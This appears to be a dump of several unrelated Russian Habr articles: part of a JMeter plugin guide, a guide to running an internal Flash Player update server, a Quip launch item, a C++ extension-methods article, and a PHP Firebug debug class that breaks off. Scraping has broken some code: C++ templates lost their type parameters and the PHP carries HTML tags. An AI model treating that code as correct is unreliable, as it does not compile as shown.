#### 5.4. Известные эффекты
##### 5.4.1. +1 запрос в логе
Корневой запрос хоть и не отправляется, но попадает в лог:
* слабо, но завышает значение показателя **Hits per second** — хиты в секунду;
* коcвенно, влияет на общую статистику по логу JMeter;
* чтобы снизить влияние этого одиночного запроса на статистику — количество реальных подзапросов должно быть большим, десятки ссылок в поле ***Embedded resources***.
##### 5.4.2. Визуальный обман для ответа 302
Если стоит настройка ***Follow Redirect***, то для каждого встроенного ресурса с кодом ответа `302` (Found):
* будет выполняться перенаправление на страницу, указанную в значении **Location** заголовка ответа;
* перенаправления отображаются в **JMeter** как подзапросы — визуально выглядит, как каскад запросов.
##### 5.4.3. Рекурсия
Редкий, но возможный эффект — загрузка встроенных ресурсов для встроенного ресурса:
* с типом содержимого (смотри настройки **htmlParser.Types** и **wmlParser.Types** в **jmeter.properties**):
+ text/html;
+ application/xhtml+xml;
+ application/xml;
+ text/xml;
+ text/vnd.wap.wml;
* выполняется:
+ загрузка встроенных ресурсов для текущего встроенного ресурса —возможно, подзапросов будет больше, чем ссылок в поле ***Embedded resources***.
В планах ограничить глубину рекурсии до настраиваемого из интерфейса плагина параметра в 3 уровня по умолчанию. Браузер при загрузке картинки (тег **img**) не выполняет для неё загрузку встроенных ресурсов. Тут же, все ресурсы обёрнуты в тег **iframe**, и **Apache.JMeter** в настоящий момент не различает, для какого тега осуществлялся запрос — всегда парсит ответ на предмет подзапросов, если **Content Type** ответа подходящий.
[](https://habrastorage.org/files/640/bff/594/640bff5949084b1e98f03dc3295db0a9.png)
Рисунок 14. *Виден первый запрос test\_server.ru, который не выполнялся на самом деле (эффект «+1 запрос»). Виден каскад перенаправлений (эффект «Визуальный обман для ответа 302») и подзапросов для подзапросов (эффект «Рекурсия»).*
#### 5.5. Временные характеристики
Если снять галочку [ ] ***Retrieve All Embedded Resources*** или не указать ни одной ссылки в ***Embedded resources***, то в логах будет написано, что запрос отправился мгновенно, и ответ на него пришел мгновенно.
Описание временных характеристик:
* **Load Time** — суммарная длительность загрузки встроенных ресурсов;
* **Connect time** всегда `0`;
* **Latency** всегда `0`.
### 6. Проект на Github
* <https://github.com/pflb/Jmeter.Plugin.TailSampler> — ссылка на проект;
* <https://github.com/pflb/Jmeter.Plugin.TailSampler/issues> — оформить замечание к проекту.
### 7. Структура проекта
Исходный код в каталоге:
[/src/ru/pflb/jmeter](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter)
* [protocol/http/config/gui](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/protocol/http/config/gui):
+ **[TailUrlConfigGui.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/blob/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/protocol/http/config/gui/TailUrlConfigGui.java)** — элемент управления с большим полем ввода для ссылок на встроенные ресурсы;
* samplers:
+ [wrapper](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper) — обёртки, чтобы использовать указанный на форме Implementation:
- **[WrapperHTTPFileImpl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper/WrapperHTTPFileImpl.java)** — обёртка, чтобы использовать обработчик протокола `file://` для подзапросов;
- **[WrapperHTTPHC3Impl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper/WrapperHTTPHC3Impl.java)** — обёртка, чтобы использовать `HttpClient3.1` из настройки ***Implementation*** для подзапросов;
- **[WrapperHTTPHC4Impl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper/WrapperHTTPHC4Impl.java)** — обёртка, чтобы использовать `HttpClient4` из настройки ***Implementation*** для подзапросов;
- **[WrapperHTTPJavaImpl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper/WrapperHTTPJavaImpl.java)** — обёртка, чтобы использовать `Java` из настройки ***Implementation*** для подзапросов;
- **[WrapperHTTPSamplerFactory.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/wrapper/WrapperHTTPSamplerFactory.java)** — фабрика, для создания обёрток, возвращает обработчик по значениям протокола и настройке ***Implementation***;
+ **[EscapeUtils.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/EscapeUtils.java)** — реализация html-экранирования, позволяет работать с русскими доменами, юникодом и специальными символами в ссылках;
+ **[ITailHTTPImpl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/ITailHTTPImpl.java)** — базовый интерфейс для всех обработчиков;
+ **[TailHTTPHC4Impl.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/TailHTTPHC4Impl.java)** — модифицированный **HttpClient4**, который использует указанное тело ответа не отправляя запрос;
+ **[TailHTTPSamplerProxy.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/TailHTTPSamplerProxy.java)** — прокси-класс в котором реализована вся логика работы **TailSampler**:
- для первого запроса берёт список ссылок из поля ***Embedded resources*** и передаёт в **TailHTTPHC4Impl** — эмуляция получения страницы со списком iframe-ов в содержимом;
- для запросов на встроенные ресурсы создаётся и вызывается стандартный обработчик, указанный в настройке ***Implementation*** — реальная отправка запросов;
+ **[TailHttpSamplerGui.java](https://github.com/pflb/Jmeter.Plugin.TailSampler/tree/master/ru.pflb.jmeter.samplers.TailSampler/src/ru/pflb/jmeter/samplers/TailHttpSamplerGui.java)** — визуальное представление **TailSampler**.
Другие каталоги вспомогательные, служат для удобства отладки проекта.
#### 7.1. Форма
Форма *TailUrlConfigGui* является модификацией главной формы **HTTP Request** из **Apache.JMeter** 2.13, откуда удалены поля для редактирования тела запроса и задания списка параметров, но добавлено одно большое поле для ввода списка ссылок.
А внешний вид *TailHttpSamplerGui* также является копией **HTTP Request**, где теперь применяется новый главный элемент управления *TailUrlConfigGui*.
Тут не обошлось без копипасты. Пошел на этот шаг, чтобы **HTTP Request Tail** почти не отличался от **HTTP Request**.
Но в **JMeter** 3.0 внешний вид **HTTP Request** был изменён, элементы управления переставлены местами. Теперь **HTTP Request Tail** отличается **HTTP Request** для **JMeter** 3.0. Но это на работу не влияет.
#### 7.2. Обёртки
Хотелось по максимуму использовать существующий код, но копипастой заниматься не хотелось. Поэтому были созданы классы Wrapper-ы, благодаря котором методы *sample*, *notifyFirstSampleAfterLoopRestart* и *threadFinished* стали доступными.
#### 7.3. Утилита для экранирования
Код класса, выполняющего экранирование взят с сайта ibm.com: [www.ibm.com/developerworks/ru/library/se-prevent/index.html](http://www.ibm.com/developerworks/ru/library/se-prevent/index.html)
Таблица html-сущностей расширена за счёт RFC с описанием HTML4.
### 8. Установка
1. Скачать плагин **ru.pflb.jmeter.samplers.TailSampler.jar**:
* Все версии: [github.com/pflb/Jmeter.Plugin.TailSampler/releases](https://github.com/pflb/Jmeter.Plugin.TailSampler/releases)
2. Скопировать плагин в каталог **lib/ext** для **JMeter**.
3. Перезапустить **JMeter**.
[](https://habrastorage.org/files/d08/636/3bd/d086363bd0154c90904e7a1f9f646bf5.png)
Рисунок 15. *Теперь плагин **HTTP Request Tail** доступен в **JMeter***
Пример каталога:
```
D:\TOOLS\apache-jmeter-2.13\lib\ext\
D:\TOOLS\apache-jmeter-2.13\lib\ext\ru.pflb.jmeter.samplers.TailSampler.jar
D:\TOOLS\apache-jmeter-3.0\lib\ext\
D:\TOOLS\apache-jmeter-3.0\lib\ext\ru.pflb.jmeter.samplers.TailSampler.jar
```
### 9. Системные требования
#### 9.1. Для работы с Apache.JMeter 2.13
* Java(TM) SE Runtime Environment версии 6 (build 1.6.0\_45-b06) или выше:
+ <http://www.oracle.com/technetwork/java/javase/downloads/419409> — минимально необходимая версия (проект надо будет пересобрать, в репозитории проект собранный для JDK 1.7);
+ <http://www.java.com/ru/download/manual.jsp> — последняя версия Oracle JDK;
+ **OpenJDK** версии не ниже, чем 1.6 также подходит, например, **OpenJDK** 1.7.0\_09-icedtea.
* JMeter 2.13:
+ <https://archive.apache.org/dist/jmeter/binaries/apache-jmeter-2.13.zip> — **Apache.JMeter** 2.13.
**Apache.JMeter** 2.13 собран с использованием **Java** 6. И если собрать плагин **TailSampler** с использованием, например, **OpenJDK** 1.7.0\_09-icedtea, и запустить **Apache.JMeter** 2.13 + собранный плагин на компьютере, где есть только **Java** 6, то **Apache.JMeter** 2.13 запустится, а плагин нет. В результате их связка работать не будет. Вопрос сборки проектов и библиотек для различных версий **Java** и их совместимости заслуживает отдельной инструкции.
#### 9.2. Для работы с Apache.JMeter 3.0
* Java(TM) SE Runtime Environment версии 7 (build 1.7.0\_80-b15 (Oracle Corporation)) или выше:
+ <http://www.oracle.com/technetwork/java/javase/downloads/java-archive-downloads-javase7-521261.html#jre-7u80-oth-JPR> — минимально необходимая версия;
+ <http://www.java.com/ru/download/manual.jsp> — последняя версия Oracle JRE;
+ **OpenJDK** версии не ниже, чем 1.7 также подходит.
* JMeter 3.0:
+ <http://jmeter.apache.org/download_jmeter.cgi> — **Apache.JMeter** 3.0.
**Apache.JMeter** 3.0 собран с использованием Java 7. Плагин **TailSampler** нужно собирать с использованием Java 7 или той версии Java, которая будет использоваться для запуска JMeter и плагина. | https://habr.com/ru/post/312352/ | null | ru | null |
# Внутренний сервер обновления Adobe Flash Player
### Предыстория
Начальство поставило задачу: нужно поддерживать в актуальном состоянии Flash Player. Масштабы: ~15000 компов, на половине из которых FP действительно нужен.
Казалось бы, в чём проблема — делаем доменную политику, запихиваем MSI пакет и радуемся… Но не тут-то было! Структура компании сильно распределена, т.е. в удалённые точки с каналом ~1мбит на 20 компов пропихнуть политиками даже 15мб уже проблема — утром сотрудники включают компьютер и по полчаса ждут загрузки, пока всё скачается и поставится (или просто отвалится по таймауту). Не говоря уже о том, что компы в подобных офисах имеют неприятное свойство периодически из домена выпадать.
Нужно было другое решение, которое будет работать независимо от политик, никак не напрягать пользователя, минимально использовать канал (хотя бы чтобы качали не все одновременно). [Варианты со скриптами](http://habrahabr.ru/post/188116/) по очевидным причинам тоже не подошли.
Выручил, как обычно, Гугл: оказалось, что можно поднять внутренний сервер обновления и настроить на него встроенное средство обновления FP. При этом на клиенты нужно будет только распространить файл настроек. Подробности под катом.
### Настройка сервера обновлений
1. **Получаем лицензионное соглашение**
Для распространения своего ПО Adobe требует получить лицензионное соглашение. Не будем нарушать условия использования и получим лицензию (благо, это совсем не сложно): [FlashPlayer: Adobe Runtimes / Reader Distribution License Agreement](https://distribute.adobe.com/mmform/index.cfm?name=distribution_form&pv=fp). Лицензия выдаётся сроком на год. По истечении можно отправить запрос ещё раз.
2. **Поднимаем веб-сервер**
Платформа роли не играет, в моём случае вертится N-ным сайтом на IIS под Win2012. Ресурсов оно практически не жрёт даже при том, что уже ~3000 компьютеров настроены на этот сервер.
Настройки сервера:
* Доступ по портам 80, 443 (http, https соответственно).
Первый нужен, собственно, для скачивания, по второму FP будет ходить за XML-кой актуальной версии.
* Валидный сертификат https.
Я выписывал сертификат на основе корневого корпоративного, который по умолчанию есть на всех машинах.
* Листинг директорий.
Не проверял работу без него — в документации просят, я решил сделать как написано.
Подробно останавливаться на настройке сервера не буду.
Для наглядности назовём сервер `FlashPlayerUpdate.domain.local`.
3. **Скачиваем ресурсы и выкладываем на сервер**
В корне веб-сервера создаём дерево директорий: `/pub/flashplayer/update/current/sau/`.
Дерево директорий на моём сервере:
Если вы запросили лицензию на первом шаге, то в ответ должно прийти письмо со ссылкой, откуда скачивать FlashPlayer — проходим по этой самой ссылке. Если не пришло, или не запрашивали, то идём сюда: <https://www.adobe.com/products/flashplayer/distribution3.html> и скачиваем архив по ссылке "**Download Background Update Resources**":
**Extended Support Release или Public Release**Тут нужно сделать ремарку. На страничке 2 варианта загрузок: стандартный (Public) и Extended Support Release. В моём случае важна стабильность работы и не нужны новые фичи, поэтому был выбран вариант ESR. При этом я добавил себе некоторое количество геморроя: паблик версию можно напрямую выкачивать скриптом с сайта Macromedia. Как выкачивать ESR, я так и не нагуглил, поэтому в моём случае обновление контента на внутреннем сервере происходит в ручном режиме.
В конце статьи приложил 2 скрипта PowerShell: для автоматического обновления (только для стандартной версии; легко портируется на bash), для проверки обновлений и оповещении по e-mail (для любой версии, в т.ч. ESR).
Скачанный архив распаковать в папку `/pub/flashplayer/update/current/sau/` на сервере.
4. **Распространяем на клиенты файл конфигурации**
В зависимости от разрядности системы:
* 32-bit: C:\Windows\**System32**\Macromed\Flash\mms.cfg
* 64-bit: C:\Windows\**SysWOW64**\Macromed\Flash\mms.cfg
Распространять можно любыми способами. Я использовал сочетание доменной политики и сервера администрирования антивируса (для компов, которые вылетели из домена).
В файле включаем тихое автообновление, прописываем интервал обновлений (в днях), путь к нашему серверу, и на всякий случай логирование, чтобы проще было диагностировать проблемы, если они возникнут:
```
AutoUpdateDisable=0
SilentAutoUpdateEnable=1
AutoUpdateInterval=2
SilentAutoUpdateServerDomain=FlashPlayerUpdate.domain.local
SilentAutoUpdateVerboseLogging=1
```
Если всё было сделано верно, то Flash Player на клиентских машинах должен начать обновляться по расписанию (согласно приведённому файлу выше — раз в 2 дня). Обычно сервис обновления Adobe запускается раз в час для проверки условий обновления — в это время Updater должен увидеть файл конфигурации, перенастроить обновления согласно прописанным настройкам и сходить на новый сервер проверить версию.
То есть примерно через час после распространения файла конфигурации можно смотреть логи на сервере на предмет запросов на проверку версии.
### Автоматизация
Как классический представитель айтишного братства, я терпеть не могу рутинную ручную работу и просто ну никак не мог не автоматизировать процесс проверки и выкачивания новой версии. Однако, как отмечено выше, пока я не нашёл способа выкачивать версии ESR с сайта Macromedia, потому скриптом только проверяю обновления. Предложения приветствуются.
##### Скрипт для автоматического скачивания обновлений
**Только для публичной версии!**
Логика работы: скрипт в тупую скачивает файлы обновления напрямую с Macromedia для версий 11,15,16,17,18,19 (если какую-то версию уже убрали с сайта — скрипт просто ругнётся, что не смог скачать и пропустит) и кладёт с заменой на сервер обновления. Никаких проверок версий. На этапе тестирования я использовал этот скрипт: запускал через шедулер на сервере по ночам.
При желании можно скрестить этот скрипт и следующий и получить полную автоматизацию с проверкой версий, оповещениями и скачиванием только при наличии обновлений.
Параметры скрипта:
* \***FPRoot** — путь к корневой папке сервера обновлений. Локальный, или сетевой. Естественно, у пользователя, от которого будет запущен скрипт, должны быть права на запись в эту папку.
* **FPDownloadRoot** — путь на сайте Macromedia. Задан по умолчанию, но можно изменить при необходимости.
* **DownloadProxy** — прокси сервер, если используется в компании. Писать полностью: **http://**proxy.domain.local.
* **ProxyCreds** — имя пользователя для авторизации на прокси.
* **UserAgent** — для изменения юзерагента, с которым PowerShell пойдёт качать. Например, у нас на прокси ограничение по UserAgent-ам, я хожу с агентом Internet Explorer.
* **Force** — отключить проверку сертификатов командлета Invoke-Webrequest (точнее, заставить доверять всем сертификатам).
\* — обязательный параметр
Пример использования:
```
powershell.exe -command "& '.\FPUpdater.ps1' -FPRoot '\\FlashPlayerUpdate\pub\flashplayer\update\current\sau' -DownloadProxy 'http://proxy.domain.local' -ProxyCreds 'DOMAIN\UserName' -UserAgent 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'"
```
Все параметры можно захардкодить в скрипт, если пугают длинные строчки запуска.
**Код скрипта**[github.com/0-d/FPUpdate/blob/master/Get-FPUpdates.ps1](https://github.com/0-d/FPUpdate/blob/master/Get-FPUpdates.ps1)
##### Скрипт для проверки обновления и оповещения по e-mail
Проверка обновлений идёт по стандартной версии, но поскольку обновляются они одновременно (security-фиксы никто не отменял), то прокатит и для ESR. Для работы скрипта нужно создать в корне веб-сервера (рядом с папкой `pub`) файл `CurrentPublic`, в который вписать текущую публичную версию для ActiveX (для проверки используется именно версия ActiveX).
Логика работы: скрипт сравнивает версию, полученную из файла `CurrentPublic` с вашего сервера с версией на сервере Macromedia. Версию на сервере смотрит по логике автообновлялки: сначала ищет в XML текущий мажорный билд, идёт в папку с мажорным и там смотрит полный билд.
Параметры скрипта:
* \***FPIntServerRoot** — Адрес нашего сервера. Например: `FlashPlayerUpdate.domain.local`
* **FPDownloadRoot** — путь на сайте macromedia. Задан по умолчанию, но можно изменить при необходимости.
* **ESR** — проверять ESR версию (без этого флага будет проверять публичную).
* **DownloadProxy** — прокси сервер, если используется в компании. Писать полностью: **http://**proxy.domain.local.
* **ProxyCreds** — имя пользователя для авторизации на прокси.
* **UserAgent** — для изменения юзерагента, с которым PowerShell пойдёт качать. Например, у нас на прокси ограничение по UserAgent-ам, я хожу с агентом Internet Explorer.
* **Force** — отключить проверку сертификатов командлета Invoke-Webrequest (точнее, заставить доверять всем сертификатам).
* \***MailTo** — e-mail адреса, на которые будут приходить уведомления.
* \***MailFrom** — от кого будут приходить уведомления. Например: `FPUpdater@company.com`
* **SmtpServer** — smtp-сервер, через который будет производиться отправка сообщения.
\* — обязательный параметр
Пример использования:
```
.\FPCheckUpdate.ps1 -FPIntServerRoot 'fp-update.domain.local' -ESR -Proxy 'http://proxy.domain.local' -UserAgent InternetExplorer -Force -MailTo 'admin@company.com','support@company.com' -MailFrom 'FP@company.com' -SmtpServer 'smtp.company.com'
```
**Код скрипта**[github.com/0-d/FPUpdate/blob/master/Check-FPUpdates.ps1](https://github.com/0-d/FPUpdate/blob/master/Check-FPUpdates.ps1)
### Использованные ресурсы
* [Adobe Flash 11.2 Background Updates from an Internal Server](http://www.cloudportal.org/2012/04/21/adobe-flash-11-2-background-updates-from-an-internal-server/)
* [Adobe Flash Player Administration Guide](http://www.adobe.com/devnet/flashplayer/articles/flash_player_admin_guide.html)
### UPD
Слегка запоздалый апдейт от 17.06.16.
С момента написания статьи Adobe успели 2 раза поменять порядок доступа к странице загрузки FlashPlayer'а. В итоге теперь чтобы получить доступ к странице для скачивания, нужно сперва авторизоваться в Adobe ID. Т.е. вариант с парсингом страницы на предмет версии ESR больше не прокатывает.
Морочиться с авторизацией, получением-отправкой cookie через PowerShell пока не стал. В итоге переделал скрипт для проверки ESR на страницу [distribution3](https://www.adobe.com/ru/products/flashplayer/distribution3.html), которая может пропасть в любой момент. Пока так, дальше будет видно.
Я ещё в начале года [задавал вопрос на форуме Adobe](https://forums.adobe.com/message/8416802#8416802) на тему проверки обновлений версии ESR. Обещают что-то придумать, но пока воз и ныне там.
### UPD2
На днях на странице распространения Flash Player (ссылку на которую вы получили, получив лицензию на распространение) появилась следующая информация:
> **#### ВНИМАНИЕ! Важные изменения с Extended Support Release**
>
>
>
> Изначально выпуск Extended Support Release создавался с целью свести к минимуму время, которое тратят ИТ-администраторы на сертифицирование каждого нового выпуска Flash Player: Extended Support Release ограничивал изменения, вносимые в выпуск, до изменений в системе безопасности и исправлений критических функциональных неполадок. На тот момент функциональных изменений в каждом выпуске Flash Player было намного больше, чем изменений в системе безопасности. Однако сейчас ситуация изменилась: число упреждающих и ответных мер безопасности намного превышает функциональные изменения. На практике Extended Support Release больше не ограждает ИТ-организации от огромного количества изменений, вносимых в стандартные выпуски Flash Player, а лишь снижает функциональные риски. **В связи с этим было принято решение прекратить выпуск Extended Support Release и сконцентрироваться на разработке только стандартных выпусков.**Ориентация только на стандартные выпуски позволит нам проявлять больше гибкости в принятии ответных мер безопасности и в дальнейшем работать над тестированиями и новыми техническими решениями в сфере безопасности.
>
>
>
> Чтобы предоставить организациям достаточно времени на тестирование и сертификацию, поддержка и обновление Extended Support Release продлятся до **11 октября 2016 г**. Затем организациям потребуется перейти на стандартный выпуск.
>
> | https://habr.com/ru/post/270283/ | null | ru | null |
# Quip: текстовый процессор от основателя Google Maps и FriendFeed
Сегодня был запущен [Quip](https://quip.com/) — современный текстовый процессор, позволяющий создавать документы на любом устройстве. Редактор будет работать на iPhone, iPad, Android и десктопах, и его уже можно [скачать](http://quip.mobi/) (версия для Android станет доступна чуть позже).
Проект выглядит потенциальным Google Docs для мобильных устройств, и на фоне регулярных закрытий продуктов от Google может как минимум оказаться неплохим «запасным» вариантом. Один из авторов проекта — Брет Тейлор, основатель Google Maps и FriendFeed, работавший потом CTO в Facebook; с Кевином Гиббсом они вместе работали в Google. В проект вложено инвестиций на $15 млн.
Основные отличительные черты Quip:
* **Совместное редактирование.** Когда вы работаете над документом, то скорее всего собираетесь им с кем-то поделиться. Quip объединяет документы и сообщения в единый поток обновлений, напоминающий собой чат. Вы можете одновременно редактировать один и тот же документ с любого устройства, не прибегая к использованию электронной почты для просмотра правок и обсуждений.
* **Мобильность.** Хотя Quip есть и для десктопа, но в полной красе он проявляет себя на телефонах и планшетах. Документы в Quip автоматически подстраиваются под размер вашего экрана, поэтому вам не придется постоянно пользоваться зумом. Работать с документами можно и в оффлайне — все изменения будут синхронизированы, как только вы подключитесь к сети.
* **Интерактивность.** Сегодня нам чаще приходится читать документы на сенсорных устройствах, чем печатать их. Поэтому в Quip можно превращать списки в todo-листы с галочками, связываться с другими документами при помощи `@mention`. Печать, кстати, тоже поддерживается — в PDF-файл.
* **Простота.** Самое заметное из нововведений редактора. UI сделан удобным для использования на мобильных устройствах, позволяя сконцентрироваться непосредственно на написании текста, а не на отвлекающем интефейсе.
Относительно переносимости документов: есть экспорт в PDF, плюс работает копипаст с корректным сохранением форматирования в Word и другие текстовые редакторы, к тому же разработчики в ближайшее время обещают добавить поддержку других форматов.
Редактор бесплатен для личного использования, для коммерческого использования придется использовать [подписки](https://quip.com/business/).
Источник: [quip.com](https://quip.com/blog/introducing-quip) | https://habr.com/ru/post/188422/ | null | ru | null |
# Методы расширения в С++
Несколько дней назад Бьёрн Страуструп опубликовал предложение [N4174](http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4174.pdf) комитету по стандартизации С++ названное "**Call syntax: x.f(y) vs. f(x,y)**". Вот вкратце его суть: объявить выражение **x.f(y)** (вызов для объекта **х** метода **f** с аргументом **y**) эквивалентным выражению **f(x,y)** (вызов функции **f** с аргументами **x** и **y**). Т.е.
x.f(y) означает:
1. Попробовать вызвать x.f(y): если класс объекта х содержит метод f, который может принять аргумент y — используем этот метод.
2. Если пункт №1 не удался — проверяем, существует ли функция f, которая может принять аргументы x и y. Если это так — используем её.
3. Если не найдено ни того, ни другого — генерируем ошибку.
f(x,y) означает ровно то же самое:
1. Попробовать вызвать x.f(y): если класс объекта х содержит метод f, который может принять аргумент y — используем этот метод.
2. Если пункт №1 не удался — проверяем, существует ли функция f, которая может принять аргументы x и y. Если это так — используем её.
3. Если не найдено ни того, ни другого — генерируем ошибку.
Таким образом мы получаем возможность писать методы расширения, о которых мечтали многие С++ программисты. Я считаю это предложение одним из самых важных в эволюции языка С++.
#### Методы расширения в C#
Чтобы лучше понять о чём мы говорим, давайте вспомним как методы расширения реализованы в С#.
Метод расширения позволяет вам добавить функциональность к существующему типу без модификации оригинального типа или создания унаследованного типа (и без необходимости перекомпиляции модуля, содержащего оригинальный тип). Предположим, вы хотите добавить к классу строки метод, подсчитывающий количество слов в ней. Для этого вы можете написать метод WordCount выглядящий вот так (для простоты будем считать разделителем слов один лишь символ пробела):
```
static class StringUtilities
{
public static int WordCount(this string text)
{
return text.Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries).Length;
}
}
```
Теперь вы можете использовать его вот так:
```
var text = "This is an example";
var count = text.WordCount();
```
Эквивалентность WordCount(text) и text.WordCount() это именно то, о чём говорит Страуструп в документе N4174.
Обратите внимание, что методы расширения в С# имеют несколько ограничений:
* метод расширения всегда должен быть объявлен как public static метод статического класса
* метод расширения имеет доступ полько к public методам и свойствам расширяемого типа
#### Методы расширения в С++
Вопрос, который кто-то может задать: «Какие преимущества может дать эквивалентность x.f(y) и f(x,y) для языка?». Простой ответ: это даёт возможность определять методы расширения и использовать их без изменения уже существующего кода.
Давайте посмотрим реальный пример. Стандартные контейнеры в С++ предоставляют метод find(), позволяющий найти определённый элемент. Но метод find() возвращает итератор и вам необходимо проверять его на равенство end() для понимания того, был элемент найден или нет. В то же время часто нам нужно не найти сам элемент, а проверить, содержится ли он в контейнере или нет. В стандартных контейнерах нет метода contains(), но мы можем написать вот такую функцию:
```
template
bool contains(std::map const & c, TKey const key)
{
return c.find(key) != c.end();
}
```
И вызывать её вот так:
```
auto m = std::map {{1, 'a'}, {2, 'b'}, {3,'c'}};
if(contains(m, 1))
{
std::cout << "key exists" << std::endl;
}
```
Но вообще-то в мире объектно-ориентированного программирования хорошо было бы написать:
```
if(m.contains(1))
{
}
```
В случае когда x.f(y) и f(x,y) эквиваленты — вышеуказанный код абсолютно валиден (и красив).
Вот второй пример. Допустим вы хотите определить некоторые операторы, аналогичные имеющимся в LINQ под .NET. Вот примерная (упрощенная) реализация некоторых таких операторов для std::vector.
```
template
std::vector where(std::vector const & c, UnaryPredicate predicate)
{
std::vector v;
std::copy\_if(std::begin(c), std::end(c), std::back\_inserter(v), predicate);
return v;
}
template ::type>
std::vector select(std::vector const & c, F s)
{
std::vector v;
std::transform(std::begin(c), std::end(c), std::back\_inserter(v), s);
return v;
}
template
T sum(std::vector const & c)
{
return std::accumulate(std::begin(c), std::end(c), 0);
}
```
Теперь задачу типа «просуммировать квадраты чётных чисел из некоторого диапазона» мы можем решить вот так:
```
auto v = std::vector {1,2,3,4,5,6,7,8,9};
auto t1 = where(v, [](int e){return e % 2 == 0; });
auto t2 = select(t1, [](int e){return e\*e; });
auto s = sum(t2);
```
Вышеуказанный код мне не нравится, поскольку создаётся много промежуточных переменных, нужных лишь для передачи в следующий вызов. Мы можем попробовать избавиться от них:
```
auto s = sum(select(where(v, [](int e){return e % 2 == 0; }), [](int e){return e*e; }));
```
Но этот код нравится мне ещё меньше. Во-первых, его тяжело читать (слишком много операций в одной строке и даже другое форматирование не очень помогает). Во-вторых, мы видим операции в инвертированном порядке относительно того, как они выполняются: сначала мы видим вызов sum, затем select и лишь потом where. Понять где заканчиваются аргументы одной функции и начинаются аргументы второй тоже не очень удобно.
Однако если стандарт языка определит эквивалентность x.f(y) и f(x,y), будет очень просто написать вот такой код:
```
auto v = std::vector {1,2,3,4,5,6,7,8,9};
auto s = v.where([](int e){return e % 2 == 0; })
.select([](int e){return e\*e; })
.sum();
```
Правда, красивый? Мне кажется — да.
#### Вывод
Документ N4174 пока что похож скорее на исследование теоретических возможностей, чем на формальный стандарт. Есть много разных аспектов, которые должны быть внимательно рассмотрены. Если вам интересно — почитайте документ сами. Тем ни менее, фича выглядит бесспорно полезной и я надеюсь настанет день, когда она войдёт в стандарт языка. | https://habr.com/ru/post/240851/ | null | ru | null |
# Альтернатива firePHP
Пару недель решил взяться за изучение PHP и спустя какое-то количество времени отлаживать скрипты через echo стало неудобно. Вспомнил о существовании такой вещи как firePHP, почитал документацию, скачал, поставил, обрадовался. Ведь так классно отлаживать скрипты через консоль!
Но увы, по непонятным мне причинам («X-Wf-» заголовки доходят, а все равно «no messages in Firebug Console»\*), не заработал. Посмотрел в интернете — безуспешно, пришлось самому решать проблему.
Решение представляет собой PHP интерфейс к консоли фаербаг, посредством генерации javascript кода.
Собственно исходник:
> `class debug {
>
>
>
> private $code = "(function(){",<br/>
> $timers = array (),<br/>
> $counter = 0,<br/>
> $vars = array();<br/>
> <br/>
> <font color="#0000ff">function</font> debug() {<br/>
> $<font color="#0000ff">this</font>->allow = <font color="#0000ff">true</font>;<br/>
> }<br/>
> <br/>
> <font color="#008000">/\* Вывести все в консоли \*/</font><br/>
> <font color="#0000ff">public</font> <font color="#0000ff">function</font> end() {<br/>
> <font color="#0000ff">if</font> ($<font color="#0000ff">this</font>->allow){<br/>
> <font color="#0000ff">if</font>(<font color="#0000ff">sizeof</font>($<font color="#0000ff">this</font>->vars) > 0){<br/>
> $dump = <font color="#A31515">'function dump(a,b){var c="";if(!b)b=0;var d="";for(var j=0;j++<=b;)d+=" ";if(typeof(a)==\'object\'){for(var e in a){var f=a[e];if(typeof(f)==\'object\'){c+=d+"\'"+e+"\' ...\n";c+=dump(f,b+1)}else{c+=d+"\'"+e+"\' => \""+f+"\"\n"}}}return c}'</font>;<br/>
> $<font color="#0000ff">this</font>->code .= $dump;<br/>
> }<br/>
> echo $<font color="#0000ff">this</font>->code.<font color="#A31515">"})();";
>
> } else return null;
>
> }
>
>
>
> /\*
>
> \* Группировка
>
> \*/
>
> public function group($name) {
>
> $this->code .= "console.group('".$name."');";
>
> return $this;
>
> }
>
>
>
> public function groupEnd() {
>
> $this->code .= "console.groupEnd();";
>
> return $this;
>
> }
>
>
>
> /\*
>
> \* Начало запуска таймера
>
> \*/
>
> public function time($name) {
>
> $mtime = microtime();
>
> $mtime = explode(' ', $mtime);
>
> $mtime = $mtime[1]+$mtime[0];
>
> $this->timers[$name] = $mtime;
>
> return $this;
>
> }
>
>
>
> /\*
>
> \* Остановка таймера
>
> \*/
>
> public function timeEnd($name) {
>
> $timeStart = $this->timers[$name];
>
> if ($timeStart) {
>
> $mtime = microtime();
>
> $mtime = explode(" ", $mtime);
>
> $mtime = $mtime[1]+$mtime[0];
>
> $endtime = $mtime;
>
